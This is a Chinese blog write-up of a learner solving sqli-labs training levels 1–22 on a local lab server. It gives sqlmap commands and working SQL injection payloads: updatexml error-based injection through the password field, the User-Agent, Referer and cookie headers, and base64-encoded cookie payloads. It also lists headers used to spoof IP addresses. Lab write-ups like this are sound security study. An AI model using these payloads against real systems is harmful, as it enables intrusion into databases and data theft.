前言
本来今天是说要到第25关的但是到了第23关我太菜了实在没看出来要咋做,用sqlmap跑了一下是利用延时注入的payload,我一开始想的是跟前面一样用的是联合注入,看了一下源代码也没看出来啥原因导致用的延时所以先休息总结一下前面的,23关明天搞。
提示:以下是本篇文章正文内容,下面案例可供参考
一、sqlmap注入1~16关
在1~4关中sqlmap直接注入就行了
python sqlmap.py -u "http://192.168.0.105/sqli/Less-1/?id=1"
而在5~8关中由于是布尔型注入所以在使用sqlmap注入时要加上 --technique B参数面对其他类型的盲注对应的参数是
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
python sqlmap.py -u "http://192.168.0.105/sqli/Less-5/?id=1" --technique B
在第9~10关中是延时注入所以用到了 --technique T参数
python sqlmap.py -u "http://192.168.0.105/sqli/Less-9/?id=1" --technique T
11~16关都是post注入对于post注入sqlmap要先将数据包先导出来然后再去注入
例如:
POST /sqli/Less-11/?id=1 HTTP/1.1
Host: 192.168.0.105
Content-Length: 38
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.105
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.105/sqli/Less-11/?id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cookie: ID=4399
Connection: close
uname=admin&passwd=admin&submit=Submit
然后再从外部导入到sqlmap中跑就行了
python sqlmap.py -r a.txt -p uname
二、第17~22关
第17关
这一关可以看的出来是对用户的密码进行修改
首先,先抓取数据包
然后我们对uname进行注入,发现不行但是如果对passwd注入的话就会发现不管咋闭合都是修改密码对源码进行分析
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
发现uname会带入到这个函数中执行看了一下里面涉及到的函数:empty()、get_magic_quotes_gpc()、stripslashes()、ctype_digit()从这几个函数的作用来看check_input($value)的作用就是过滤掉违规的字符,简单点来说就是防止sql注入的但是由于这个函数只有uname在里面而passwd并没有,所以判断passwd是我们的注入点然后看了一下其他师傅的文章确定是对passwd这个点进行报错注入,这里我做的时候认知错了一下不是将用户名填错后再去密码处填写我们的paylaod,而是利用updatexml()这个函数去人为的引发报错,这里update(),concat()这两个函数这位师傅写的这篇文章解释的很好,至少对于网安这块来说足够了。payload:
uname=admin&passwd=' and updatexml(1,concat(0x7e,user(),0x7e),1) -- #
第18关
在这一关中我一开始看见他会显示ip就想的是注入点在X-Forwarded-For头中于是我就在http数据包中加上X-Forwarded-For头伪造ip注入,发现修改后的IP没有打印在页面中,然后对源码分析看见源码中接受IP的函数是$_SERVER[‘REMOTE_ADDR’] 我去网上查了一下这两个之间的关系,在php中接收IP的方法有
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址
$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP
这几种方法,
而可以通过head头伪造IP的有
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
我将这几个都带入数据包中,但是IP还是没有被修改,网上找了一下文章他们的关系然后才知道原来REMOTE_ADDR不可以显式的伪造,也就是说我可以通过代理去绕过但是不能通过head头去修改,文章链接,那就是说这关不是对IP位置注入接着我看了一下在输入账号和密码后页面会返回对应的User-Agent信息,那就是说突破点是在这里
先加了一个单引号果然不出所料的报错了
接下来就是对这里进行报错注入了
payload:
' and updatexml(1,concat(0x7e,(select user())),0x7e),1)#
这里我有个疑问就是为什么(select user()))这里user()后面还要多加上一个),难不成是对语句的闭合?看了下源码也不是啊。有点想不通后面再处理吧。
成功注入。
第19关
这一关与上一关的解法差不多就是注入的头部不太一样,上一关是注入User-Agent头这一关则是Referer头,一样的抓包然后注入就行了。
第20关
从这一关的返回页面可以看的出来这关是cookie注入
老规矩先抓包,然后对cookie处加上单引号
果然报错了,接下来就是注入环节,直接报错注入
第21关
这一关与第20关一样也是cookie注入,不过这一关的是对cookie处进行base64加密过了的
将我们的注入语句通过base64加密过后就行了
payload:
YWRtaW4nICBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB1c2VyKCkpKSwweDdlKSwxKSAj
第22关
这一关与前面差不多就不多赘述直接上payload
payload:
YWRtaW4iIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMiwzICM=
总结
这几关我当时做的时候感觉还好,就是面对一些不懂的函数要去百度一下或者是实在没思路就去看一下其他师傅的文章,简单来说就还是太菜了,希望我在学习这条路上能做到对待任何事物要谦虚对待任何人要做到平等看待,文章写的太差希望师傅们能帮忙斧正。